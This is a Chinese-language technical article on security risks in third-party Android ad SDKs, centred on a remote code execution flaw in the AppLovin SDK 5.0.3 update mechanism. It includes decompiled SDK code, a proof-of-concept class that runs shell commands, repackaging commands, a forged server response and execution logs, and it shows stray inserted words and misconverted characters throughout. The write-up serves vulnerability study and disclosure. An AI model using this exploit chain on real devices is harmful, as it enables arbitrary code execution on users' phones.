第三方sdk的包括廣告、支付、統計、社交、推送,地圖等類別,是廣告商、支付公司、社交、推送平臺,地圖服務商等第三方服務公司爲了便於應用開發人員使用其提供的服務而開發的工具包,封裝了一些複雜的邏輯實現以及請求,響應解析的API,因爲其使用的普遍性,一旦出現安全問題而且被黑客利用,其影響範圍之廣,危害之大不言而喻。html
首先,一些惡意的Sdk自己會存在着安全威脅,除了衆所周知的獲取用戶隱私信息,如收集設備id(IMEI,IMSI等)、獲取用戶位置信息外,還存在着更嚴重的安全問題。好比某些sdk具備主動接收服務器指令的功能,它會根據須要收集短信、通話記錄和聯繫人等敏感信息。另外,它還會執行如動態下載代碼等危險操做。java
其次,Sdk自身可能還會存在漏洞。若是這些漏洞被利用,攻擊者就可以利用sdk自己存在的強大功能發動惡意的攻擊行爲,例如在用戶毫無察覺的狀況下打開相機拍照,經過發送短信盜取雙因素認證令牌,或將設備變成僵屍網絡的一部分。android
下面介紹下目前在第三方sdk(主要是指廣告sdk)中發現的惡意行爲和漏洞。nginx
經過HTTP明文傳輸用戶的隱私信息,使隱私信息很容易被竊取。FireEye 的研究者聲稱在Google Play的主流應用中有47%的廣告sdk存在該漏洞。web
使用不安全的HTTP協議從控制服務器接收命令或者動態加載代碼。攻擊者能夠經過中間人攻擊,劫持HTTP數據包,冒充服務器下發惡意指令、推送惡意代碼,將第三方sdk變成一個僵屍網絡。shell
攻擊者有許多方法來利用sdk的漏洞。好比劫持公共WiFi:當受害者的設備鏈接到公共WiFi熱點(在咖啡店或機場等),攻擊者能夠在附近監聽AppLovin廣告sdk的數據包、注入惡意指令和代碼。bootstrap
攻擊者也能夠經過DNS劫持的方式來達到利用漏洞的目的。在DNS劫持攻擊中,攻擊者能夠修改sdk廣告服務器的DNS記錄,把訪問者重定向到攻擊者本身的控制服務器,以便從受害者設備上收集隱私信息或者發送惡意控制指令到受害者設備上。瀏覽器
WebView至關於一個瀏覽器窗口,應用程序可使用它來顯示網頁內容。addJavascriptInterface這個API容許運行在WebView中的JavaScript代碼來訪問應用的native功能。攻擊者能夠利用此漏洞,使用應用已有的權限,經過惡意的JavaScript代碼來對設備進行惡意操做。這個漏洞已經影響到超過90%的Android設備了。安全
爲了下降安全風險,從Android 4.2開始,谷歌增長了一個叫作@JavascriptInterface的註解,開發人員可使用它來定義須要暴露給WebView中的JavaScript代碼的函數。這實質上是一個白名單機制,讓開發者決定什麼函數是容許被調用的。服務器
然而添加 @JavascriptInterface註解只是在理論上下降了風險,其實際效用依賴於開發者如何使用它。另外,開發人員還能夠添加代碼,以便JavaScript調用任何應用暴露出來的函數(觸發這些行爲)都須要得到用戶的許可。
採用運行時動態加載技術在Dalvik虛擬機中動態執行代碼做爲其升級機制的一部分,卻沒有對動態加載的代碼進行校驗。若是該部分代碼被黑客惡意篡改,則會給用戶形成嚴重的安全威脅。
有些sdk自己具備危險行爲,同時又存在漏洞,這種特性咱們稱之爲「vulnaggressive」。這種特性並不侷限於廣告sdk,其它第三方組件和應用程序也存在。若是一個sdk具備「vulnaggressive」特性,則會使Android用戶,尤爲是企業用戶面臨嚴重的安全威脅。AppLovin廣告sdk就是一個實例。
AppLovin廣告sdk的惡意行爲表如今收集用戶的敏感數據,嵌入了按需執行危險操做的功能,該sdk自己存在着嚴重的漏洞,使應用容易遭受攻擊者入侵。攻擊者利用sdk的漏洞,同時利用sdk自己的惡意行爲,攻擊者能夠在用戶的設備上下載並執行任意代碼。然而使用這些第三方sdk的應用開發人員每每不知道其中存在的安全風險,從而給企業用戶形成嚴重威脅。
在咱們的研究中發現,許多包含AppLovin廣告sdk的Android應用具備強大的權限,它們能夠控制攝像機;讀寫短信、歷史通話記錄、聯繫人、瀏覽器歷史記錄和書籤;並在桌面上建立快捷方式。
攻擊者能夠利用這些權限進行惡意操做。好比:
儘管AppLovin廣告sdk形成了嚴重的威脅,但因其具備隱蔽性,因此更加防不勝防:
AppLovin廣告sdk的屏幕截圖
AppLovin廣告sdk5.0.3版本的升級機制存在遠程代碼執行漏洞。該廣告sdk採用運行時動態加載技術在Dalvik虛擬機中動態執行代碼做爲其升級機制的一部分。
該廣告sdk會按期的經過http協議以明文方式與d.applovin.com進行數據傳輸。發送如下請求:
1 GET /sdk/android?interface=5.0.0&implementation=5.0.3 HTTP/1.1 2 User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.3; sdk Build/JWR66V) 3 Host: d.applovin.com 4 Connection: Keep-Alive 5 Accept-Encoding: gzip
而後服務端將進行響應,若是有更新,就把一個包含了要更新的sdk的jar文件下載到應用目錄下一個叫「app_al_sdk」的文件夾中:
/data/data/<vulnerable application>/app_al_sdk/<SDK version>.jar
當應用再次運行的時候,AppLovin廣告library就會檢測這個目錄下是否存在更新的jar包,若是存在則將該jar包中的dex文件解壓出來替換/data/data/<vulnerable application>/al_outdex文件,這樣dex中的com.applovin.impl.bootstrap.SdkBoostrapTasksImpl類就會被動態加載,其中的startUpdateDownload方法也將會被調用。
從源代碼能夠得知,當一個包含AppLovin廣告sdk的應用啓動後,一個‘boot’進程就會啓動(因爲反編譯的關係,也多是‘bootstrap’進程、‘boostrap’進程)。以下所示,com.applovin.impl.bootstrap包中的UpdateSDK類負責發送更新請求和處理服務器響應:
1 package com.applovin.impl.bootstrap; 2 3 .. 4 5 .. 6 7 class UpdateSDK extends Thread { 8 9 private final Context b; 10 11 public UpdateSDK(SdkBoostrapTasksImpl arg2, Context arg3) { 12 13 this.a = arg2; 14 15 super(); 16 17 this.b = arg3; 18 19 this.setName("AppLovinUpdateThread"); 20 21 } 22 23 public void run() { 24 25 SharedPreferences$Editor v0_3; 26 27 String SdkUpdateinterval; 28 29 int ResponseCode; 30 31 StringBuffer uri; 32 33 SharedPreferences BootstrapSettings = this.b.getSharedPreferences("applovin.sdk.boostrap", 0); 34 35 String CheckSum = BootstrapSettings.getString("version", ""); 36 37 if(CheckSum == null || CheckSum.length() < 1) { 38 39 CheckSum = "5.0.3"; 40 41 } 42 43 InputStream ResponseStream = null; 44 45 try { 46 47 SdkBoostrapTasksImpl.a(this.a, "Checking for an update for the SDK interface: 5.0.0, implementation: " 48 49 + CheckSum + "..."); 50 51 uri = new StringBuffer(GetUpdateUri.a(this.b)); 52 53 uri.append("?").append("interface").append("=").append("5.0.0"); // ?interface=5.0.0 54 55 uri.append("&").append("implementation").append("=").append(CheckSum); // ?interface=5.0.0&implementation=5.0.3 56 57 URLConnection RequestObject = new URL(uri.toString()).openConnection(); 58 59 ((HttpURLConnection)RequestObject).setRequestMethod("GET"); 60 61 ((HttpURLConnection)RequestObject).setConnectTimeout(20000); 62 63 ((HttpURLConnection)RequestObject).setReadTimeout(20000); 64 65 ((HttpURLConnection)RequestObject).setDefaultUseCaches(false); 66 67 ((HttpURLConnection)RequestObject).setAllowUserInteraction(false); 68 69 ((HttpURLConnection)RequestObject).setUseCaches(false); 70 71 ((HttpURLConnection)RequestObject).setInstanceFollowRedirects(true); 72 73 ((HttpURLConnection)RequestObject).setDoInput(true); 74 75 ResponseCode = ((HttpURLConnection)RequestObject).getResponseCode(); 76 77 String SDKFileName = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Implementation"); // filename? 78 79 String SdkImpCheckSum = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Implementation-Checksum"); 80 81 SdkUpdateinterval = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Update-Interval"); 82 83 String AppLovinEventID = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Event-ID"); 84 85 SdkBoostrapTasksImpl.a(this.a, "Auto-update info: {code: " + ResponseCode + ", " + "eventId: " 86 87 + AppLovinEventID + ", " + "fileName: " + SDKFileName + ", " + "checksum: " + SdkImpCheckSum 88 89 + ", " + "interval: " + SdkUpdateinterval + "}"); 90 91 if(ResponseCode == 200) { 92 93 if(SDKFileName != null && SDKFileName.length() > 0) { 94 95 File SdkUpdateFile = new File(this.b.getDir("al_sdk", 0), SDKFileName); 96 97 ResponseStream = ((HttpURLConnection)RequestObject).getInputStream(); 98 99 CheckSum = SdkBoostrapTasksImpl.a(ResponseStream, SdkUpdateFile); 100 101 if(CheckSum != null && (CheckSum.equals(SdkImpCheckSum))) { 102 103 SharedPreferences$Editor v3_2 = BootstrapSettings.edit(); 104 105 v3_2.putString("version", SDKFileName); 106 107 v3_2.putString("interface", "5.0.0"); 108 109 v3_2.putString("ServerEventId", AppLovinEventID); 110 111 v3_2.putString("ServerChecksum", CheckSum); 112 113 v3_2.commit(); 114 115 SdkBoostrapTasksImpl.a(this.a, "New update processed: " + SDKFileName); 116 117 goto label_130; 118 119 } 120 121 SdkBoostrapTasksImpl.a(this.a, "SDK update checksum does not match. Expected " + 122 123 SdkImpCheckSum + ", but got " + CheckSum); 124 125 goto label_130; 126 127 } 128 129 SdkBoostrapTasksImpl.a(this.a, "Unable to receive SDK update: " + uri + " has not returend a file name"); 130 131 }
上述代碼從"applovin.sdk.boostrap"配置文件中讀取一個版本號做爲checksum,而後構造和發送如下請求:
1 GET /sdk/android?interface=5.0.0&implementation=5.0.3 HTTP/1.1 2 User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.3; sdk Build/JWR66V) 3 Host: d.applovin.com 4 Connection: Keep-Alive 5 Accept-Encoding: gzip
而後對接收到的如下服務器響應信息進行處理:
1 HTTP/1.1 200 2 3 Server: nginx 4 5 Date: Mon, 21 Oct 2013 19:31:20 GMT 6 7 Content-Type: text/html 8 9 Connection: keep-alive 10 11 Vary: Accept-Encoding 12 13 Cache-Control: no-store, no-cache, must-revalidate 14 15 AppLovin-Sdk-Update-Interval: 10 16 17 AppLovin-Sdk-Next-Update-Time: 10 18 19 AppLovin-Sdk-Implementation: 5.0.3.jar 20 21 AppLovin-Sdk-Implementation-Checksum: a9e5f7c98ab3f1dc9ecab25f15ef09e25d5bce28 22 23 AppLovin-Event-ID: 123456 24 25 Content-Length: 1660
服務器會返回以上的響應信息,這些數據被寫入到一個文件(文件名爲AppLovin-Sdk-Implementation頭的值,實際爲一個jar包)中,同時會產生一個SHA1 哈希值與AppLovin-Sdk-Implementation-Checksum頭的值進行匹配。響應頭中其它信息如 AppLovin-Sdk-Update-Interval頭 和 AppLovin-Sdk-Next-Update-Time頭被寫入到一個配置文件中以控制下次應用的更新時間間隔。
當應用再次啓動時bootstrap進程初始化的流程就不一樣了。這個時候com.applovin.sdk.bootstrap包中的SdkBootstrap 類會從配置文件中讀取這些值,若是發現這些值不匹配則不會經過控制器去啓動更新機制。不然就去檢查app_al_sdk目錄下是否存在jar文件並與配置文件中的版本值相匹配,匹配則將jar包中的classess.dex文件解壓到app_al_outdex文件夾中。
1 package com.applovin.sdk.bootstrap; 2 3 .. 4 5 .. 6 7 public class SdkBootstrap { 8 9 .. 10 11 .. 12 13 private void BootstrapSdkClassLoaderInit(Context AppContext) { 14 15 this.VerboseLogging = AppLovinSdkUtils.isVerboseLoggingEnabled(AppContext); 16 17 SharedPreferences bootstrapPref = AppContext.getSharedPreferences("applovin.sdk.boostrap", 0 18 19 ); 20 21 String versionVal = bootstrapPref.getString("version", ""); 22 23 String interfaceVal = bootstrapPref.getString("interface", ""); 24 25 if(versionVal.length() <= 0 || !"5.0.0".equals(interfaceVal)) { 26 27 this.disable(); 28 29 } 30 31 else { 32 33 File FileNameParam1 = new File(AppContext.getDir("al_sdk", 0), versionVal); 34 35 if((FileNameParam1.exists()) && FileNameParam1.length() > 0) { 36 37 this.ThisClassLoader = new SdkClassLoader(FileNameParam1, AppContext.getDir("al_outdex" 38 39 , 0), SdkBootstrap.class.getClassLoader()); 40 41 goto checkForUpdates; 42 43 } 44 45 this.Log_("SDK implementation file " + versionVal + " has no content, using default implementation" 46 47 ); 48 49 this.disable(); 50 51 } 52 53 .. 54 55 ..
在com.applovin.sdk.bootstrap.SdkClassLoader類中SdkClassLoader 方法被調用:
1 package com.applovin.sdk.bootstrap; 2 3 .. 4 5 .. 6 7 public class SdkClassLoader extends DexClassLoader { 8 9 public SdkClassLoader(File FileNameParam, File DirectoryNameParam, ClassLoader ClassLoaderObject 10 11 ) { 12 13 super(FileNameParam.getAbsolutePath(), DirectoryNameParam.getAbsolutePath(), null, ClassLoaderObject 14 15 ); 16 17 } 18 19 .. 20 21 ..
類加載器對象加載classes.dex,並做爲參數從checkForUpdates方法中傳遞到loadImplementation方法中:
1 package com.applovin.sdk.bootstrap; 2 3 .. 4 5 .. 6 7 public class SdkBootstrap { 8 9 .. 10 11 .. 12 13 public void checkForUpdates() 14 15 { 16 17 if (AppLovinSdkUtils.isAutoUpdateEnabled(this.d)) 18 19 { 20 21 SdkBoostrapTasks localSdkBoostrapTasks = (SdkBoostrapTasks)loadImplementation(SdkBoostrapTasks.class); 22 23 if (localSdkBoostrapTasks != null) 24 25 localSdkBoostrapTasks.startUpdateDownload(this.d.getApplicationContext()); 26 27 } 28 29 }
loadImplementation 方法以下:
1 package com.applovin.impl.bootstrap; 2 3 .. 4 5 .. 6 7 public class SdkBoostrapTasksImpl implements SdkBoostrapTasks { 8 9 .. 10 11 .. 12 13 try 14 15 { 16 17 String str1 = paramClass.getSimpleName(); 18 19 String str2 = paramClass.getPackage().getName(); 20 21 String str3 = str2.substring(1 + str2.lastIndexOf('.')); 22 23 String str4 = "com.applovin.impl." + str3 + "." + str1 + "Impl"; 24 25 a("Loading " + str4 + "..."); 26 27 Object localObject = paramClass.cast(this.e.loadClass(str4).newInstance()); 28 29 return localObject; 30 31 }
這個方法從提供的classes.dex文件中加載com.applovin.impl.bootstrap.SdkBoostrapTasksImpl類而且返回一個對象(即localSdkBoostrapTasks)給checkForUpdates方法,checkForUpdates方法再經過返回的這個對象調用startUpdateDownload方法。
1 public void checkForUpdates() 2 3 { 4 5 if (AppLovinSdkUtils.isAutoUpdateEnabled(this.d)) 6 7 { 8 9 SdkBoostrapTasks localSdkBoostrapTasks = (SdkBoostrapTasks)loadImplementation(SdkBoostrapTasks.class); 10 11 if (localSdkBoostrapTasks != null) 12 13 localSdkBoostrapTasks.startUpdateDownload(this.d.getApplicationContext()); 14 15 } 16 17 }
SdkBoostrapTasksImpl 類中startUpdateDownload 方法原型以下:
1 package com.applovin.impl.bootstrap; 2 3 .. 4 5 .. 6 7 public class SdkBoostrapTasksImpl implements SdkBoostrapTasks { 8 9 .. 10 11 .. 12 13 public void startUpdateDownload(Context paramContext) 14 15 { 16 17 this.a = AppLovinSdkUtils.isVerboseLoggingEnabled(paramContext); 18 19 SharedPreferences localSharedPreferences = paramContext.getSharedPreferences("applovin.sdk.boostrap", 0); 20 21 long l1 = System.currentTimeMillis(); 22 23 long l2 = localSharedPreferences.getLong("NextAutoupdateTime", 0L); 24 25 if ((l2 == 0L) || (l1 > l2)) 26 27 new b(this, paramContext).start(); 28 29 }
攻擊者能夠經過從新實現com.applovin.impl.bootstrap.SdkBoostrapTasksImpl類中的startUpdateDownload 方法構造一個惡意的sdk更新。爲了達到這個目的,須要對包含有漏洞的AppLovin sdk應用進行反編譯。
$ unzip VulnerableApp.apk
利用dex2jar將解壓後獲得的classes.dex文件反編譯成jar包:
$ dex2jar.sh classes.dex
建立一個eclipse工程,將工程Properties設置爲「Is Library」(在工程右擊-properties-Android最下面,有個Is library,選擇後-apply肯定,表示此工程能夠公開給別的工程使用),而後將上一步獲得的classes_dex2jar.jar文件複製到lib目錄下。
$ cp classes-dex2jar.jar ~/eclipse-workspace/MWRAppLovin/libs/
接下來建立com.applovin.impl.bootstrap包和SdkBoostrapTasksImpl類,PoC以下:
1 package com.applovin.impl.bootstrap; 2 3 import java.io.BufferedWriter; 4 5 import java.io.IOException; 6 7 import java.io.OutputStreamWriter; 8 9 import android.content.Context; 10 11 import android.os.Environment; 12 13 import android.util.Log; 14 15 import com.applovin.sdk.bootstrap.SdkBoostrapTasks; 16 17 public class SdkBoostrapTasksImpl implements SdkBoostrapTasks { 18 19 public SdkBoostrapTasksImpl() { 20 21 super(); 22 23 } 24 25 @Override 26 27 public void startUpdateDownload(Context AppContextParam) { 28 29 AppContextParam.getApplicationContext(); 30 31 Log.i("[mwr]", "startUpdateDownload — running our injected code"); 32 33 String path = Environment.getExternalStorageDirectory().getPath(); 34 35 String[] commands = { 36 37 "echo -e \"--[mwr]--\" > " + path + "/mwr.txt\n", 38 39 "id >> " + path + "/mwr.txt\n" 40 41 }; 42 43 execCommands(commands); 44 45 } 46 47 public Boolean execCommands(String... command) { 48 49 Runtime rtime = Runtime.getRuntime(); 50 51 Process child = null; 52 53 try { 54 55 child = rtime.exec("/system/bin/sh"); 56 57 } catch (IOException e1) { 58 59 } 60 61 BufferedWriter outCommand = new BufferedWriter(new OutputStreamWriter(child.getOutputStream())); 62 63 try { 64 65 for(int i = 0; i < command.length; i++) { 66 67 Log.i("[mwr]", "execCommands — executing " + command[i]); 68 69 outCommand.write(command[i]); 70 71 outCommand.flush(); 72 73 } 74 75 } catch (IOException e) { 76 77 } 78 79 return true; 80 81 } 82 83 }
上面的PoC會將當前用戶id寫入sd卡的mwr.txt文件中。若是這個lib庫已經被編譯成jar包,則必須用dx將其重打包爲dex。
$ dx --dex --output=mwr_applovin_sdk.jar mwrapplovin.jar
(注:dx --dex --output=target.jar origin.jar 首先將origin.jar編譯成origin.dex文件(Android虛擬機認識的字節碼文件),而後再將origin.dex文件壓縮成target.jar)
而後攻擊者須要僞造服務器對客戶端更新請求的響應而且發送惡意sdk更新,同時須要生成惡意jar包的checksum(sha1哈希):
$ shasum mwr_applovin_sdk.jar
860b438285557693a30a89874df5c26a6fadfb92
一個僞造的響應以下所示:
1 HTTP/1.1 200 2 3 Server: nginx 4 5 Date: Mon, 21 Oct 2013 19:31:20 GMT 6 7 Content-Type: text/html 8 9 Connection: keep-alive 10 11 Vary: Accept-Encoding 12 13 Cache-Control: no-store, no-cache, must-revalidate 14 15 AppLovin-Sdk-Update-Interval: 1000 16 17 AppLovin-Sdk-Next-Update-Time: 1000 18 19 AppLovin-Sdk-Implementation: mwr_applovin_sdk.jar 20 21 AppLovin-Sdk-Implementation-Checksum: 860b438285557693a30a89874df5c26a6fadfb92 22 23 AppLovin-Event-ID: 123456 24 25 Content-Length: 1660 26 27 <BINARY DATA>
用logcat查看廣告插件的日誌信息,從相關event可知惡意jar文件已經被下載:
1 I/AppLovinSdk( 742): [Boostrap] Auto-update info: {code: 200, eventId: 123456, fileName: mwr_applovin_sdk.jar, checksum: 860b438285557693a30a89874df5c26a6fadfb92, interval: 10} 2 3 I/AppLovinSdk( 742): [Boostrap] New update processed: mwr_applovin_sdk.jar 4 5 I/AppLovinSdk( 742): [Boostrap] Next update is at: "1382624665463"
下述log信息代表當應用再次啓動的時候,從jar包中釋放出了dex文件而且惡意代碼已經執行:
1 /dalvikvm( 3280): DexOpt: --- BEGIN 'mwr_applovin_sdk.jar' (bootstrap=0) --- 2 3 D/dalvikvm( 2949): GC_FOR_ALLOC freed 0K, 3% free 56131K/57696K, paused 156ms, total 156ms 4 5 D/dalvikvm( 3398): DexOpt: load 41ms, verify+opt 15ms, 80116 bytes 6 7 D/dalvikvm( 3280): DexOpt: --- END 'mwr_applovin_sdk.jar' (success) --- 8 9 D/dalvikvm( 3280): DEX prep '/data/data/<vulnerable app>/app_al_sdk/mwr_applovin_sdk.jar': unzip in 0ms, rewrite 286ms 10 11 I/AppLovinSdk( 3280): [Boostrap] Loading com.applovin.impl.bootstrap.SdkBoostrapTasksImpl... 12 13 D/AppLovinSdk( 3280): Loading SDK implementation class: com.applovin.impl.bootstrap.SdkBoostrapTasksImpl 14 15 I/[mwr] ( 3280): startUpdateDownload — running our injected code 16 17 I/[mwr] ( 3280): execCommands — executing echo -e "--[mwr]--" >> /mnt/sdcard/mwr.txt 18 19 I/[mwr] ( 3280): execCommands — executing id >> /mnt/sdcard/mwr.txt
adb命令代表執行很成功:
1 $ adb shell 2 3 root@generic:/ # cat /mnt/sdcard/mwr.txt 4 5 --[mwr]-- 6 7 uid=10048(u0_a48) gid=10048(u0_a48) groups=1006(camera),1015(sdcard_rw),1028(sdcard_r),3003(inet),50048(all_a48)
參考資料: